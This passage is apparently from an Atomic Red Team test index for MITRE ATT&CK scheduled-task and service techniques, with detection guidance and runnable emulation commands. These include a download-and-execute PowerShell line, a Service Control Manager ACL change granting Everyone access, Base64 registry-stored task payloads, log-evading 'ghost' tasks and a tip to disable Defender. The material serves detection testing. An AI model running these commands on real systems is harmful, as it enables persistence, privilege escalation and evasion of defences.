type: string default: localhost user_name: description: Username type: string default: Administrator password: description: Password type: string default: P@ssw0rd1 dependency_executor_name: powershell dependencies: - description: 'RemCom tool must exist on disk in the ExternalPayloads folder ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe ' name: command_prompt - name: Snake Malware Service Create auto_generated_guid: b8db787e-dbea-493c-96cb-9272296ddc49 description: "The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe.\nThis was recently seen in the Snake Malware report. \nUpon execution, sc.exe will create a new service named WerFaultSvc with a bin path \\WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe and a display name of WerFault Service.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \ \n" supported_platforms: - windows executor: command: 'sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto ' cleanup_command: 'sc.exe delete "WerFaultSvc" ' name: command_prompt elevation_required: true - name: Modifying ACL of Service Control Manager via SDET auto_generated_guid: bf07f520-3909-4ef5-aa22-877a50f2f77b description: "Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required.\n[Blog](https://0xv1n.github.io/posts/scmanager/) \ \n" supported_platforms: - windows executor: command: 'sc.exe sdset scmanager D:(A;;KA;;;WD) ' name: command_prompt elevation_required: true - name: Pipe Creation - PsExec Tool Execution From Suspicious Locations auto_generated_guid: 004a5d68-627b-452d-af3d-43bd1fc75a3b description: Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ''\Users\Public\Temp\'' directory ' prereq_command: 'if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip" Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force executor: command: "cd C:\\Users\\Public\\Temp\\ \n.\\PsExec.exe -i -s cmd -accepteula" name: powershell elevation_required: true T1053.002: technique: modified: '2023-11-15T14:38:10.876Z' name: 'Scheduled Task/Job: At' description: |- Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '2.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Scheduled Job: Scheduled Job Creation' - 'Network Traffic: Network Traffic Flow' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0 created: '2019-11-27T13:52:45.853Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/002 external_id: T1053.002 - source_name: rowland linux at 2019 description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ - source_name: GTFObins at description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021. url: https://gtfobins.github.io/gtfobins/at/ - source_name: Linux at description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. url: https://man7.org/linux/man-pages/man1/at.1p.html - source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.002 atomic_tests: - name: At.exe Scheduled task auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8 description: | Executes cmd.exe Note: deprecated in Windows 8+ Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time. supported_platforms: - windows executor: name: command_prompt elevation_required: false command: 'at 13:20 /interactive cmd ' - name: At - Schedule a job auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e description: 'This test submits a command to be run in the future by the `at` daemon. ' supported_platforms: - linux input_arguments: time_spec: description: Time specification of when the command should run type: string default: now + 1 minute at_command: description: The command to be run type: string default: echo Hello from Atomic Red Team dependency_executor_name: sh dependencies: - description: 'The `at` and `atd` executables must exist in the PATH ' prereq_command: 'if [ "$(uname)" = ''FreeBSD'' ]; then which at; else which at && which atd; fi; ' get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'' ' - description: 'The `atd` daemon must be running ' prereq_command: 'if [ $(uname) = ''Linux'' ]; then systemctl status atd || service atd status; fi; ' get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'' ' executor: name: sh elevation_required: false command: 'echo "#{at_command}" | at #{time_spec}' persistence: T1053.005: technique: modified: '2023-11-15T14:33:53.354Z' name: 'Scheduled Task/Job: Scheduled Task' description: "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Andrew Northern, @ex_raritas - Bryan Campbell, @bry_campbell - Zachary Abzug, @ZackDoesML - Selena Larson, @selenalarson - Sittikorn Sangrattanapitak x_mitre_deprecated: false x_mitre_detection: |- Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.5' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - Administrator x_mitre_remote_support: true type: attack-pattern id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9 created: '2019-11-27T14:58:00.429Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/005 external_id: T1053.005 - source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - source_name: Defending Against Scheduled Task Attacks in Windows Environments description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022. url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments - source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Tarrask scheduled task description: Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022. url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ - source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - source_name: SigmaHQ description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022. url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.005 atomic_tests: - name: Scheduled Task Startup Script auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2 description: | Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane. supported_platforms: - windows executor: command: | schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" cleanup_command: | schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1 name: command_prompt elevation_required: true - name: Scheduled task Local auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71 description: 'Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. ' supported_platforms: - windows input_arguments: task_command: description: What you want to execute type: string default: C:\windows\system32\cmd.exe time: description: What time 24 Hour type: string default: '20:10' executor: name: command_prompt elevation_required: false command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} ' cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1 ' - name: Scheduled task Remote auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd description: | Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint. supported_platforms: - windows input_arguments: task_command: description: What you want to execute type: string default: C:\windows\system32\cmd.exe time: description: What time 24 Hour type: string default: '20:10' target: description: Target type: string default: localhost user_name: description: 'Username to authenticate with, format: DOMAIN\User' type: string default: DOMAIN\user password: description: Password to authenticate with type: string default: At0micStrong executor: name: command_prompt elevation_required: true command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} ' cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1 ' - name: Powershell Cmdlet Scheduled Task auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd description: | Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10. supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Action = New-ScheduledTaskAction -Execute "calc.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTask -InputObject $object cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1 ' - name: Task Scheduler via VBA auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3 description: | This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n" name: powershell cleanup_command: 'Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false ' - name: WMI Invoke-CimMethod Scheduled Task auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b description: 'Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes. ' supported_platforms: - windows input_arguments: xml_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{xml_path}) ' prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml" -OutFile "#{xml_path}" executor: name: powershell elevation_required: true command: | $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; } cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1 ' - name: Scheduled Task Executing Base64 Encoded Commands From Registry auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba description: "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n" supported_platforms: - windows input_arguments: time: description: Daily scheduled task execution time type: string default: '07:45' executor: command: | reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time} cleanup_command: | schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1 reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1 name: command_prompt - name: Import XML Schedule Task with Hidden Attribute auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4 description: "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n" supported_platforms: - windows input_arguments: xml_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{xml_path}) ' prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml" -OutFile "#{xml_path}" executor: name: powershell elevation_required: true command: | $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; } cleanup_command: 'Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1 ' - name: PowerShell Modify A Scheduled Task auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d description: "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n" supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Action = New-ScheduledTaskAction -Execute "cmd.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTaskModifed -InputObject $object $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe" Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1 ' - name: Scheduled Task ("Ghost Task") via Registry Key Manipulation auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54 description: | Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means. This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command. For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78). supported_platforms: - windows input_arguments: task_name: description: Name of the newly-added task type: string default: lilghostie task_command: description: Command you want the task to execute type: string default: notepad.exe target: description: System where the task should run type: string default: localhost user_name: description: Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin type: string default: "$env:USERDOMAIN + '\\' + $env:USERNAME" dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force - description: 'GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"` ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" executor: name: command_prompt elevation_required: true command: | "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon cleanup_command: |- "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul T1205.002: technique: modified: '2022-11-08T14:00:00.188Z' name: Socket Filters description: |- Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the 